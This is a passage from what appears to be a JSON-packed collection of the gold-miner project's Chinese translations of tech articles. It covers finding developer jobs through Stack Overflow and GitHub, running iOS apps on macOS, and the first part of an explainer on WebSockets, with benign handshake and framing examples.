是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-i-used-stack-overflow-github-to-get-dream-job-before-19-without-degree.md",
    "content": "> * 原文地址：[How I used Stack Overflow & GitHub to get dream job before 19 without degree](https://medium.com/@danielkmak/how-i-used-stack-overflow-github-to-get-dream-job-before-19-without-degree-8cb5184e2bec#.p4zh8ykfu)\n* 原文作者：[Daniel Kmak](https://medium.com/@danielkmak)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[jiaowoyongqi](https://github.com/jiaowoyongqi)\n* 校对者：[Romeo0906](https://github.com/Romeo0906), [yifili09](https://github.com/yifili09)\n\n# 19岁的我没有学位，但是通过 Stack Overflow 和 GitHub 找到了梦想的工作\n\n\n\n\n\n\n\n\n大家好，我叫丹尼尔，今年 18 岁。我没有技术专业的学位。我想写一写自己的亲身经历。现在我有两份梦寐以求且报酬丰厚的工作，全职前端开发工程师以及 Ember.js  的远程兼职顾问。\n\n毫无疑问，这两份工作都要归功于 **Stack Overflow** 和 **GitHub**。通过这两个网站我收获到了：\n\n*   让招聘者刮目相看的人气值\n*   心仪公司的关注，并获得了 10 到 15 个远程视频面试的机会\n*   Ember.js 远程顾问的兼职工作\n*   前端程序员的全职工作\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n### GitHub\n\nGitHub 帮助我得到了不只是一份，而是两份工作！我在兼职咨询工作的技术面试中，曾以 GitHub 作为我的实力优势。同样，当我在向目前这家公司的全职前端程序员职位表示求职意向时，他们要求我提供 GitHub 地址链接。\n当你在面对招聘者的时候，你手里需要掌握砝码。他们不仅需要了解你对于特定语言和框架的掌握程度，而且对他们来说**很重要**的是看到你的**综合能力**，你比那些只会写面条式代码的程序员懂更多！\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*yXuU2kZE61ovrf30IEjc2g.jpeg)\n\n\n\n见 [面条式代码](https://en.m.wikipedia.org/wiki/Spaghetti_code)\n\n\n\nGitHub 是一个你可以展示代码的地方。例如，当你学到新的技术后，可以新建一个涉及这个技术的 repository ，然后上传到 GitHub 上。这样做会有四点好处：\n\n*   你可以证明你了解这项技术，这个语言或框架\n*   人们可以看到你写的优质代码，你可以为代码优化架构让其变得简洁，你知道 [OOP](https://en.wikipedia.org/wiki/Object-oriented_programming)，你还可以写 [SOLID](https://en.wikipedia.org/wiki/SOLID_%28object-oriented_design%29)。招聘者还可以把这些展示给公司团队的其他成员，共同决定是否要对你进行第一轮的技术面试\n*   你至少有基本的 Git 以维护你在 GitHub 上的 repositories\n*   招聘者会基于你在 GitHub 的 repository 中所使用的语言来给你发邮件，这整个过程是自动化的。我就收到大概 10 封这样的邮件。所以，如果你的 repository 是用 C# 来写的，那么你很有可能收到关于 C# 职位的面试邀请。当然招聘者发来的邮件并不算什么，但至少这也是一个机会。你现在的情况是招聘者主动找上来，而不是你找他们，相信我，这样的求职更为容易\n\n我就这样做过。我收到了类似的面试邀请。但我并没有把所有的项目都这样做，一部分项目创建在 GitLab 中仅我自己可见。我希望在以后能够有机会推销他们，但是我并没有完成它们。然而现在我后悔没有把它们给公开。如果我将它们以开源项目发表后，并且用文档的形式展示它们是如何工作的，长成什么样子的，那么它们就能加到我的简历作品集里面了。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*4heNvJlVgDVMEWt-nkKVkw.gif)\n\n\n\n[我在 GitHub 上的 repositories](https://github.com/Kuzirashi?tab=repositories)\n\n\n\n我也在很多 Ember 相关的 repositories 中做了很多贡献。有时候是文档方面的，有时候是代码方面的。你在某些大项目中做出的贡献，这对于求职是很有帮助的。但就这次的求职而言，他们对于我帮助并没有很大。\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*HVxpqhoWLGKEAvqAeYrnAQ.png)\n\n\n\n[我在 Ember.js 的 repository 上的评论](https://github.com/emberjs/ember.js/commits/master?author=kuzirashi)\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n### Stack Overflow\n\n几年前我认为在我没有大学学历的前提下，Stack Overflow 是帮助我找到工作的最可靠的方式。事实证明我是对的。\n\n我是怎么知道的呢？归功于开源项目的自我宣传。我了解到应聘者会通过浏览你的 Stack Overflow 帐号来评价你的专业技能。但是远没这么简单。当我来到现在这家公司面试全职程序员的时候，大概 1 万的人气值（统计截止至 6 月份）再加上我的年龄，这两项足以让面试官瞠目结舌。最后他们决定录入我。谢谢你，Stack Overflow！\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*SsxXa-gYZxYDJkPBMmhKAA.png)\n\n\n\n[Stack Overflow 的帐号](http://stackoverflow.com/users/2166409/daniel-kmak?tab=profile)，2016 年 8 月.\n\n\n我用各种语言和框架写过程序。用 ASP.NET & Mono 开发过游戏服务列表，用 XNA、Java 服务、C# WPF 程序等来编写过电脑版的塔防游戏。而唯一让我感兴趣的可能就是使用互联网来获取和发送数据吧。\n\n我的强项就是 Ember.js。我从 16 岁（2013 年）开始学习它，后来我看了 [Yehuda Katz](https://medium.com/u/324797632ca4) 在旧金山 HTML5 大会上的视频—— [真正卓越](https://youtu.be/u6RFyVN9sNg)。于是我有了人生理想，那就是学习 Ember，我需要更多的动力及决心。[这个视频](https://youtu.be/rstD4rm3EQ8) 中的这段话，在我第一次听到后，就一直烙印在脑海中。\n\n> 无论你做什么，投入热情吧。\n\n回到 Stack Overflow。一开始当我处于学习阶段的时候，我在上面提问。然后我开始回答其他人的问题，以此来获得人气值。我打开所有新出现的问题，并趁这个问题成为热门话题之前，试着以最快的速度回答他，这样的话题例如 JavaScript。关于 Ember 的问题对我而言更加简单了。我花费大把的时间写下我的答案并且详细地分析那些复杂的问题。很少有人会回答这类的问题。\n\n有时候持续 30 天我都是排名第一的回答者，于是我有了关注者，接着我收到了许多面试邀请的邮件。其中一个就是 Ember.js 的远程兼职顾问。我因为回答了一个人在 Stack Overflow 中 Ember 分类下的问题，然后得到了一个面试邀请！真事儿，这就是证据。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*bF8AnMvwUWUDpuEfzc-EwQ.png)\n\n\n\n邮件的截图。\n\n\n\n后来我进行了一次技术面试，关于我对于 Ember 的理解。我通过了。于是从 2015 年 11 月开始，我成为了一名 Ember.js 的技术顾问。\n\n创建一个 Stack Overflow 职业资料页也是十分重要的，有两点原因：\n\n*   你会得到一个酷炫的简历，包含你在 Stack Overflow 上面回答的所有答案\n*   招聘者会在上面找到你并且给你发送私信，不止两位招聘者在上面联系到我了，而且他们都非常认真并且后来都发来了面试邀请\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*kMK_pbAGvqiLN3EQiG6O3Q.png)\n\n\n\n[我的 Stack Overflow 简历](http://stackoverflow.com/cv/kuzi)\n\n\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n**结论**\n\n相信自己，加把劲。并且把你的技能都展示在 Stack Overflow 和 GitHub 上。为公开的开源项目添砖加瓦，并且创建自己的 repositories。让人们知道你。告诉他们你住在哪里，并且你有足够的能力。告诉他们你的热情。在科技行业，招聘者每天都想方设法地找寻像你这样的人才。让他们轻松地找到你吧。\n\n感谢阅读。如果喜欢欢迎分享。如果你有不同的意见或者更好的故事想要分享，欢迎留言！我欢迎任何的反馈！\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n记得给我写邮件： **contact@danielkmak.com**，或者 [访问我的网站](http://danielkmak.com/) ，在那里你可以了解我更多的信息并且看到更多酷炫的项目。\n\n\n\n\n\n\n\n"
  },
  {
    "path": "TODO/how-ios-apps-on-the-mac-could-work.md",
    "content": ">* 原文链接 : [How iOS Apps on the Mac Could Work](https://medium.com/@sandofsky/how-ios-apps-on-the-mac-could-work-13aa32a2647b)\n* 原文作者 : [Ben Sandofsky](https://medium.com/@sandofsky)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [wildflame](https://github.com/wildflame)\n* 校对者: [thanksdanny](https://github.com/thanksdanny),[owenlyn](https://github.com/owenlyn)\n\n# 假如 Mac 上也有 iOS 应用？\n\n![](https://cdn-images-1.medium.com/max/800/1*o5AUFxXTmRcAr17x1p6m6A.jpeg)\n\n### 假如 Mac 上也有 iOS 应用，世界将会怎样？\n\n没有人专门为 Mac 开发应用，Slack 有专门的 iOS 版本，放在 iPad 上的体验非常好，接上 smart keyboard 以后，你会发现还可以方便的使用快捷键。而且，在应用上无限下滑的体验甚至超过了他们本身的网页端，甚至于我从来没有看到过一个“加载中”的页面。这体验如果能够放到桌面端那是再好不过了，但是他们没有这么做，他们仅仅只是把他们的网页放到了一个 app-launcher 里，这就成了桌面端。\n\nBasecamp 是这么做的，Wordpress 是这么做的，甚至连 Mac App Store 自己，都只是一个 webview 而已。\n\n对于那些所谓的“应用”，我是再讨厌不过了。我理解大公司的选择，他们**不喜欢**跨平台。设计师们需要专门做设计，QA 需要测试更多的环境，而文职人员们则要费力去翻译那些“原生视图”到更为工业界接受的“页面视图”。那些大公司一直不愿意费力气去替代跨平台的 Html 5 应用也毫不奇怪了。\n\n如果说，还要什么别的原因的话，那就是：这也不仅仅是一个“编译到OS X”的简单工作，你需要雇佣专门的 OS X 开发者，且维护一个新的代码库。\n\n这并不是说大公司抠门。比如 Sketch ，他们也一直没有开发 iOS 的版本，见 [引用](https://www.designernews.co/comments/173706)。\n\n> We cannot port Sketch to the iPad if we have no reasonable expectation of earning back on our investment. Maintaining an application on two different platforms and provide one of them for a 10th of it’s value won’t work, and iPad volumes are low enough to disqualify the “make it up in volume” argument.\n\n> 我们不会把 Sketch 移植到 iPad 上面，除非我们有合理期望去赢回我们的投资。去维护一个两个不同的平台，并在其中一个上面付出超过其价值10倍的投入是不值得的，而 iPad 上面的流量少到我们根本不必参与到“尽可能扩大用户”的争论里。\n\n他们认为一个很有效的规避风险的办法就是从试用开始，而我认为还有一个选择就是使得支持 iPad 变成一件简单的事情。你也许会问，“为什么不呢？”\n\n我就直说了：直接把 iOS 应用移植到 OS X 的体验是超级差的，你需要重新设计触摸屏的交互来适应键盘和鼠标的交互。当然也有一些例外，一部分领域的应用是不需要这么做的：假设你请 Pinterest 重新设计他们全是图的界面，他们只需要耸耸肩，然后把整个网站放在一个 webview 里就行了。\n\n### iOS 和 OS X 的不同之处\n\n尽管 OS X 和 iOS 共享了相当一部分的底层接口，然而他们在 UI 层面是完全不同的。前者是建立在 Appkit 的基础上的，其历史可以追溯到 NeXT。而后者则采用了 UIKit，那是从 iPhone 的最底层开始写的。\n\n二者甚至连坐标系统都是不一样的，在 OS X 上坐标点在左下方，而 iOS 上面则到了在左上方。\n\n![](https://cdn-images-1.medium.com/max/800/1*SJU8WmP-aHgrwlT92oCRAw.jpeg)\n\n不仅是这样，UIKit 专门为 GPU 设计了渲染加速，每一个 _UIView_ 都有一个核心的动画层（layer）作支持，与 GPU 一同提供了流畅的滑动体验。\n\n但大概是为了支持比较早的版本，这层 layer 到了 Mac 上就变成非必须的了，甚至就算你启用了这个动画层，你也会感觉到他们也是建立在 _NSView_ 上面的。\n\n当然也存在一些重新实现 UIKit 的库，比如 [TwUI](https://github.com/twitter/twui) 和 [Chameleon](http://chameleonproject.org)，后者意在寻求相同的 API。理论上，你可以在不同的平台上共享 100% 的 UI 代码。但实际上，这些框架是往往是费力不讨好的，因为他们都是第三方的。\n\n即便是在 Mac 的开发者中，也有对 UIKit 架构的需求。去年，苹果官方的应用 Photos 就包含了[UXKit](https://sixcolors.com/post/2015/02/new-apple-photos-app-contains-uxkit-framework/)，而游戏中心则采用了[UICollectionView](https://twitter.com/steipete/status/740065011712806912)做替代。\n\n### 我的期望\n\n不要期望现在的 iOS 不经改变就可以运行在 macOS 上面。看看 [tvOS](https://developer.apple.com/library/tvos/documentation/General/Conceptual/AppleTV_PG/index.html#//apple_ref/doc/uid/TP40015241)\n就知道了。\n\n> tvOS is derived from iOS but is a distinct OS, including some frameworks that are supported only on tvOS.\n\n> tvOS 是 iOS 的一个衍生版本，包含了很多只能在 tvOS 上使用的框架。\n\n那上面也运行 UIKit，刚刚好能够 _让你_ 重写一遍适合 TV 上的交互。\n\n#### 只用写一个包 (Bundle) 就可以了？\n\nTV 上应用的交互方式和触摸屏上的方式差太多了，极有可能到最后，你会得到一个完全不同的设计。\n\n> When porting an existing project, you can include an additional target in your Xcode project to simplify sharing of resources, but you need to create new storyboards for tvOS. Likely, you will need to look at how users navigate through your app and adapt your app’s user interface to Apple TV.\n\n> 当移植现有的项目的时候，你可以附加一个 target 在现有的 Xcode 项目里面共享资源。但是，你得专门为 tvOS 创建新的 storyboards。类似地，你还需要研究用户如何使用你的应用来调整你的应用界面来适应 Apple TV。\n\n即便你可以把 tvOS 应用和 iOS 应用放在一个 Bundle 里面，缺点（eg. 过度耦合）也大过优点。我知道不少的 iOS 的开发者都后悔发布了 iPhone/iPad 上通用的应用，因为二者的联结太紧密。很多时候，倒不如把那些共享的代码放到一个框架（framework）里面。\n\n鉴于此，如果想要在 iOS 和 Mac 之间移植，情况也是类似的。如果苹果能使 Mac 和 iOS 的用户体验更相似一些，你很可能可以把 Mac 和 iOS 应用放在同一个包里。\n\n对于开发者而言，一个应用意味着一份 Bundle ID，这使得共享不同设备之间的信息变得更简单。这所有一切的目的，都是为了简化在新平台 (macOS) 上开发与iOS 应用相应的(桌面)应用的流程”\n\n那需要下载的文件的大小呢？一边是运行在 x86上面的，另外一边是运行在 ARM 上的，所以需要把两个不同的架构编译到同一个二进制源码里面，类似于Mac 开始采用 intel 的时候的方案 [fat binaries](https://en.wikipedia.org/wiki/Universal_binary)。不过，iOS9里，Apple 引进了[App Thinning](https://developer.apple.com/library/tvos/documentation/IDEs/Conceptual/AppDistributionGuide/AppThinning/AppThinning.html), 所以你只用下载你所需要的平台上的源代码就可以了。\n\n![](http://ww3.sinaimg.cn/large/a490147fjw1f4w49p8mtcj20m80ck75n.jpg)\n\n#### 界面惯例\n\n在 iOS8里，苹果加上了“trait collection”和一些别的属性，允许你查看平台的细节。现在的[Interface Idiom](https://developer.apple.com/library/ios/documentation/UIKit/Reference/UIDevice_Class/index.html#//apple_ref/c/tdef/UIUserInterfaceIdiom) 属性包括了 **iPhone**, **iPad**, **TV**, or **CarPlay**。你可以查看这些惯例，看那些视图是可用的，比方说 popover 就只在 iPad 上有。\n\n理论上，你可以限制一些 Mac 的特性，使其符合 **Mac** 惯例，比如浮动调色盘。\n\n#### 沙箱\n\n2011年苹果添加了 [sandboxing](https://developer.apple.com/library/mac/documentation/Security/Conceptual/AppSandboxDesignGuide/AboutAppSandbox/AboutAppSandbox.html) 到 OS X 里。理论上，你“可以”通过这个功能移植 iOS 应用到 OS X上面。\n\n#### 解决更大的屏幕和页面\n\n那坐标系统呢？—— 如果你使用自动布局，就不用担心了。别的情况，你可以用相对布局来取代那些写死的坐标，就好比是 CSS 一样，其实并不是很复杂。\n\n下面的这个[例子](https://developer.apple.com/library/ios/documentation/UserExperience/Conceptual/AutolayoutPG/index.html#//apple_ref/doc/uid/TP40010853-CH7-SW1)里，每一条蓝色的线都是一个规则，只要这些规则是有意义的，自动布局就会帮你处理剩下的问题。\n\n![](http://ww4.sinaimg.cn/large/a490147fjw1f4w4a1jmg5j20g00klaam.jpg)\n\n再也没有（0，0）点了，你可以毫无顾忌的改变窗口的大小。\n\n不幸的是，很多应用都写死了坐标值。除了 UIKIt 以外， Apple 都要抛弃掉坐标系统了。如果你把它和 Appkit 应用链接到一块的话，你就得到了已有的坐标系统，而指望在同一个应用里统一 Appkit 和 UIKit 的坐标系只会把一切弄得一团糟。\n\n#### 避免写出巨大尺寸的 iPhone 应用\n\n那那些可憎的拉伸的 iPhone 应用呢？他们已经在用 [Size Classes](https://developer.apple.com/library/ios/documentation/UserExperience/Conceptual/MobileHIG/LayoutandAppearance.html) 来解决这个问题了，它鼓励你考虑屏幕资源来设计，而不是考虑硬件资源。它的每一个维度可以是“紧凑的”或是“普通的”。比方说，iPhone 的宽度是“紧凑的”，而全屏的 iPad 应用的宽度则是“普通的”。\n\n![](http://ww2.sinaimg.cn/large/a490147fjw1f4w4aew3srj20df0gz3yt.jpg)\n\n![](http://ww2.sinaimg.cn/large/a490147fjw1f4w4aq64lpj208r0e6mxc.jpg)\n\n比方说你正在使用 Facebook，你希望在屏幕的一边能够一直看到更新的话题，而你的屏幕上还空了一大块。你可以把它设定成“普通的”宽度。那为什么要这么大费周章，而不是简简单单的看一下这是不是一台iPad呢？这是因为只需要把应用从“普通的”宽度切换到“紧凑的”宽度，就可以让用户方便的在 iPad 上开启多任务模式了。\n\nMac 也可以做类似的事情，当窗口小于一定阙值以后，就可以改变窗口的类型。\n\n### 越早实现越好\n\n这五年来，每一次 WWDC，我都在想，“是时候了。”，对于此，我的 Outlook（日程表）已经从“渴望的事情”到了“无可避免了”。\n\n其实苹果公司比任何人都更渴望让 Sketch 这样的应用运行在 iOS 上面。比如说 iOS 上的 Lightroom ， 它却不支持“RAW”格式，这对专业的摄影师来说 iPad “pro”就是个笑话。而对比微软的 Surface，上面则运行了**真正的**lightroom。\n\n看起来，Apple 像是放弃了 OS X。他们没有雇佣更多的 AppKit 的开发者，而 Mac 的 App Store 多年来就是破烂不堪了。那么如果他们终于决定放弃旧的平台转而将所有的资源注入到一个(iOS与macOS)统一的平台上会产生怎样的效果呢？\n\n这五年来，苹果改变很多，iOS 7 显示了他们愿意打破传统。Apple Watch 显示他们愿意承担风险。为什么不呢？他们在2010年就开始在 “Back to the mac” 上承担风险了。\n\n他们说，在 WWDC2016 上 OS X 会被重命名为 macOS，今年会是时候了吧。\n\n**译注: \"Back to the mac\" 是苹果在2010年的一项活动，那次发布了Mac OS X Lion，并且介绍了苹果如何期望把 Mac 平台和 iOS 平台统一起来。本文在图片里的标题也是“Back to the mac”**\n"
  },
  {
    "path": "TODO/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path.md",
    "content": "> * 原文地址：[How JavaScript works: Deep dive into WebSockets and HTTP/2 with SSE + how to pick the right path](https://blog.sessionstack.com/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path-584e6b8e3bf7)\n> * 原文作者：[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path.md)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[NeoyeElf](https://github.com/NeoyeElf) [athena0304](https://github.com/athena0304)\n\n# JavaScript 是如何工作的：深入剖析 WebSockets 和拥有 SSE 技术 的 HTTP/2，以及如何在二者中做出正确的选择\n\n欢迎来到旨在探索 JavaScript 以及它的核心元素的系列文章的第五篇。在认识、描述这些核心元素的过程中，我们也会分享一些当我们构建 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-4-eventloop-intro) 的时候遵守的一些经验规则，这是一个轻量级的 JavaScript 应用，其具备的健壮性和高性能让它在市场中保有一席之地。\n\n如果你错过了前面的文章，你可以在这儿找到它们：\n\n1.  [对引擎、运行时和调用栈的概述](https://juejin.im/post/5a05b4576fb9a04519690d42)\n2.  [深入 V8 引擎以及 5 个写出更优代码的技巧](https://juejin.im/post/5a102e656fb9a044fd1158c6)\n3.  [内存管理以及四种常见的内存泄漏的解决方法](https://juejin.im/post/59ca19ca6fb9a00a42477f55)\n4.  [事件循环和异步编程的崛起以及 5 个如何更好的使用 async/await 编码的技巧](https://juejin.im/post/5a221d35f265da43356291cc)\n\n这一次，我们将深入到通信协议中，去讨论和对比 WebSockets 和 HTTP/2 的属性和构成。我们将快速比较 WebSockets 和 HTTP/2，并在最后，针对网络协议，分享一些如何选择这2种技术的想法。\n\n#### 简介\n\n现在，富交互 web 应用已然司空见惯了。由于 internet 经过了漫长的发展，这一点看起来也不足为奇了。\n\n最初，internet 的建立不是为了支持这样动态的、复杂的 web 应用程序。它只被认为是一个 HTML 页面的集合，页面间能够链接到其他页面，从而构成了一个 “web” 这样一个信息载体的概念。internet 中每个事物都是由 HTTP 中的请求/响应（request/response）范式构建而成。一个客户端加载了一个页面后将不会再发生任何事，除非用户点击并跳转到了下一页。\n\n2005 年左右，AJAX 技术的引入让许多人开始探索客户端和服务器间**双向通信（bidirectional）**的可能。然而，所有的 HTTP 通信都是由客户端掌控的，这要求用户交互式地或者周期轮询式地去从服务器拉取新数据。\n\n#### 让 HTTP 成为 “双向通信的”\n\n能够让服务器“主动地”发送数据给客户端的技术已经出现了一段时间了，例如 [“Push”](https://en.wikipedia.org/wiki/Push_technology) 和 [“Comet”](http://en.wikipedia.org/wiki/Comet_%28programming%29)。\n\n为了制造出服务器主动给客户端发送数据的假象，最常用的一个 hack 是**长轮询（long polling）**。通过长轮询，客户端打开了一个到服务端的 HTTP 连接，该连接会一直保持直到有数据返回。无论什么时候服务器有了需要被送达的数据，它都会将数据作为一个响应传输到客户端。\n\n让我们看看一个非常简单的长轮询代码片段长什么样：\n\n```javascript\n(function poll(){\n   setTimeout(function(){\n      $.ajax({ \n        url: 'https://api.example.com/endpoint', \n        success: function(data) {\n          // 使用 `data` 来做一些事\n          // ...\n\n          // 递归地开始下一次轮询\n          poll();\n        }, \n        dataType: 'json'\n      });\n  }, 10000);\n})();\n```\n\n这是一个自执行函数，它将自动运行。其设置了一个 10 秒的间隔，当一个异步请求发送完成后，在其回调方法中又会再次调用这个异步请求`。\n\n其他一些技术还涉及到了 [Flash](http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/net/Socket.html) 、 XHR multipart request  以及 [htmlfiles](http://cometdaily.com/2007/12/27/a-standards-based-approach-to-comet-communication-with-rest/) 。\n\n所有的这些方案都面临了相同的问题：它们都是建立在 HTTP 上的，这就使得它们不适合那些需要低延迟的应用。例如浏览器中的第一人称射击这样实时性要求高的在线游戏。\n\n#### WebSockets 简介\n\n[WebSocket](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API) 规范定义了一个 API 用来建立一个 web 浏览器和服务器之间的 “socket” 通信。通俗点说，客户端和服务器间将建立一个持续的连接，这让双方都能在任何时候发送数据给彼此。\n\n![](https://cdn-images-1.medium.com/max/800/1*a4lA5FYDkjA9mv53NPKtOg.png)\n\n客户端通过一个被称为 WebSocket **握手（handshake）**的过程建立一个 WebSocket 连接。该过程开始于客户端发送了一个普通的 HTTP 请求到服务器。一个 `Upgrade` header 包含在了请求头中，它告诉了服务器现在客户端想要建立一个 WebSocket 连接。\n\n让我们看看在客户端如何打开一个 WebSocket 连接：\n\n```javascript\n// 创建一个具有加密连接的 WebSocket\nvar socket = new WebSocket('ws://websocket.example.com');\n```\n\n> WebSocket URL 使用了 `ws` scheme。也可以使用 `wss` 来服务于安全的 WebSocket 连接，这类似于 `HTTPS`。\n\n这个 scheme 仅只是启动了一个进程来打开客户端到 websocket.example.com 的 WebSocket 连接。\n\n下面是初始化请求头的简单示例：\n\n```http\nGET ws://websocket.example.com/ HTTP/1.1\nOrigin: http://example.com\nConnection: Upgrade\nHost: websocket.example.com\nUpgrade: websocket\n```\n\n如果服务器支持 WebSocket 协议，它将同意进行协议更新，并通过响应头中的 `Upgrade` 同客户端通信。\n\n让我们看看在 Node.js 中这是如何实现的：\n\n```javascript\n// 我们使用这个 WebSocket 实现： https://github.com/theturtle32/WebSocket-Node\nvar WebSocketServer = require('websocket').server;\nvar http = require('http');\n\nvar server = http.createServer(function(request, response) {\n  // 处理 HTTP 请求。\n});\nserver.listen(1337, function() { });\n\n// 创建 server\nwsServer = new WebSocketServer({\n  httpServer: server\n});\n\n// WebSocket server\nwsServer.on('request', function(request) {\n  var connection = request.accept(null, request.origin);\n\n  // 下面这个回调方法很重要，我们将在这里处理所有来自用户的消息\n  connection.on('message', function(message) {\n      // 处理 WebSocket 消息\n  });\n\n  connection.on('close', function(connection) {\n    // 连接关闭时进行的操作\n  });\n});\n```\n\n在连接建立以后，服务器通过响应头的 `Upgrade` 进行回复：\n\n```http\nHTTP/1.1 101 Switching Protocols\nDate: Wed, 25 Oct 2017 10:07:34 GMT\nConnection: Upgrade\nUpgrade: WebSocket\n```\n\n一旦连接建立，客户端下 WebSocket 实例的 `open` 事件将会被触发：\n\n```javascript\nvar socket = new WebSocket('ws://websocket.example.com');\n\n// 当 WebSocket 被打开后，显示一条已连接消息。\nsocket.onopen = function(event) {\n  console.log('WebSocket is connected.');\n};\n```\n\n现在，握手完成，最初的一个 HTTP 连接被一个使用相同底层 TCP/IP 连接的 WebSocket 连接所取代。自此，任何一方都可以开始发送数据了。\n\n通过 WebSockets，你可以尽情地传输数据，而不会遇到使用传统 HTTP 请求时的瓶颈。使用 WebSocket 传输的数据被称作**消息（messages）**，每一条消息都包含了一个或多个**帧（frames）**，它们承载了你要发送的数据（payload）。为了保证消息在送达客户端以后能够被正确解析，每一帧都会在头部填充关于 payload 的 4-12 个字节。基于帧的消息系统能够减少非 payload 数据的传输数量，从而大幅减少延迟。\n\n**注意**：需要留意的是，只有当所有帧都到达，并且原始消息 payload 也被解析，客户端才会接受新消息通知。\n\n#### WebSocket URLs\n\n前文中，我们简要介绍了 WebSocket 引入了一个新的 URL scheme。实际上，其引入了两个新的 schema（协议标识符）：`ws://` 和 `wss://`。\n\nWebSocket URLs 则有一个指定 schema 的语法。WebSocket URLs 较为特别，它们并不支持锚点（anchor），例如 `#sample_anchor`。\n\nWebSocket 风格的 URL 与 HTTP 风格的 URL 具有相同的规则。`ws` 不会进行加密编码，并且默认端口是 80。而 `wss` 则要求 TLS 编码，且默认端口是 443。\n\n#### 成帧协议（Framing Protocal）\n\n让我们深入到成帧协议中。下面是 [RFC](https://tools.ietf.org/html/rfc6455#page-27) 提供给我们的帧格式：\n\n```\n0                   1                   2                   3\n0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n+-+-+-+-+-------+-+-------------+-------------------------------+\n|F|R|R|R| opcode|M| Payload len |    Extended payload length    |\n|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |\n|N|V|V|V|       |S|             |   (if payload len==126/127)   |\n| |1|2|3|       |K|             |                               |\n+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +\n|     Extended payload length continued, if payload len == 127  |\n+ - - - - - - - - - - - - - - - +-------------------------------+\n|                               |Masking-key, if MASK set to 1  |\n+-------------------------------+-------------------------------+\n| Masking-key (continued)       |          Payload Data         |\n+-------------------------------- - - - - - - - - - - - - - - - +\n:                     Payload Data continued ...                :\n+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +\n|                     Payload Data continued ...                |\n+---------------------------------------------------------------+\n```\n\n在 RFC 所规定的 WebSocket 版本中，每个包只有一个头部，但是这个头部非常复杂。现在我们解释下它的组成部分：\n\n*   `fin` （1 bits）：指出了当前帧是消息的最后一帧。绝大多数时候消息都能被一帧容纳，所以这一个 bit 通常都会被设置。实验显示 FireFox 将会在 32K 之后创建第二个帧。\n*   `rsv1`、`rsv2`、`rsv3`（每个都是 1 bits）：除非扩展协议为它们定义了非零值的含义，否则三者都应当被设置为 0。如果收到了一个非零值，并且没有任何没有任何扩展协议定义了该非零值的意义，那么接收端将会使这次连接失败。\n*   `opcode`（4 bits）：说明了帧的含义。下面是一些经常使用的取值：\n\n​       `0x00`：当前帧继续传输上一帧的 payload。\n\n​       `0x01`：当前帧含有文本数据。\n\n​       `0x02`：当前帧含有二进制数据。\n\n​       `0x08`：当前帧终止了连接。\n​       `0x09`：当前帧为 ping。\n​       `0x0a`：当前帧为 pong。\n\n​    （如你所见，还有很多取值未被使用，未来它们会被用作表示其他含义。）\n\n* `mask`（1 bits）：指示了连接是否被掩码。就目前来说，每条从客户端到服务器的消息都必须经过掩码处理，否则，按规定需要终止连接。\n\n* `payload_len`（7 bits）：payload 长度。WebSocket 的帧长度区间为：\n\n  如果是 0–125，则直接指示了 payload 长度。如果是 126，则意味着接下来两个字节将指明长度，如果是 127，则意味着接下来 8 个字节将指明长度。所以，一个 payload 的长度将可能是 7 bit、16 bit 或者 64 bit 以内。\n\n*   `masking-key`（32 bits）：所有由客户端发送给服务器的帧都被一个包含在帧里面的 32 bit 的值进行了掩码处理。\n*   `payload`：极大可能被掩码了的实际数据，由 `payload_len` 标识了长度。\n\n为什么 WebSocket 是基于帧（frame-based）的，而不是基于流（stream-based）的？我和你一样都不清楚，我也苛求学到更多，如果你对此有任何见解，可以在文章下面评论留言。当然，也可以加入到 [HackerNews 上这个主题的讨论中](https://news.ycombinator.com/item?id=3377406)。\n\n#### 